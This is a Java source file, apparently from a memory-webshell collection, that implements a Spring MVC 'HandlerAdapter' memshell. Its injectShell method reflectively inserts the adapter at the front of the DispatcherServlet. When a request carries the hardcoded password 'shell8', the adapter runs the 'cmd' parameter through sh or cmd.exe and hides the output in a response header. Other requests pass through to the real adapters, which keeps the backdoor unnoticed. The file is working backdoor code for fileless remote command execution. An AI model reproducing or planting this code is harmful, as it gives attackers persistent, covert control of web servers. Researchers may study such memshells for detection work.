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No8_HandlerAdapterShell.java
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75 lines (64 loc) · 3.1 KB
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package com.example.springshell.memshell;
import com.example.springshell.utils.Util;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.HandlerAdapter;
import org.springframework.web.servlet.ModelAndView;
import java.io.InputStream;
import java.util.List;
import java.util.Scanner;
public class No8_HandlerAdapterShell implements HandlerAdapter {
List<HandlerAdapter> handlerAdapters;
public No8_HandlerAdapterShell(List<HandlerAdapter> handlerAdapters) {
this.handlerAdapters = handlerAdapters;
}
public static String injectShell() throws Exception{
DispatcherServlet servlet = new Util().getServlet();
List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");
handlerAdapters.add(0,new No8_HandlerAdapterShell(handlerAdapters));
return "{\"result\":\"No8_HandlerAdapterShell\"}";
}
@Override
public boolean supports(Object handler) {
return true;
}
@Override
public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String passwd = request.getParameter("pass");
String cmd = request.getParameter("cmd");
if (passwd!=null && cmd!=null && passwd.equals("shell8") && !cmd.isEmpty()){
boolean islinux = true;
String osType = System.getProperty("os.name");
if (osType !=null && osType.toLowerCase().contains("win")){
islinux = false;
}
String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
// response.getWriter().write(output);
// response.getWriter().flush();
// response.getWriter().close();
response.setHeader("Exec-result", new String(output));
return null;
}
// 重新找到适配的handlerAdpapter，相当于做了一层代理？？
for(HandlerAdapter handlerAdapter:this.handlerAdapters){
if(!(handlerAdapter instanceof No8_HandlerAdapterShell) && handlerAdapter.supports(handler)){
return handlerAdapter.handle(request,response,handler);
}
}
return null;
}
// 模仿SimpleControllerHandlerAdapter的getLastModified方法
@Override
public long getLastModified(HttpServletRequest request, Object handler) {
for(HandlerAdapter handlerAdapter:this.handlerAdapters){
if(!(handlerAdapter instanceof No8_HandlerAdapterShell) && handlerAdapter.supports(handler)){
return handlerAdapter.getLastModified(request,handler);
}
}
return 0;
}
}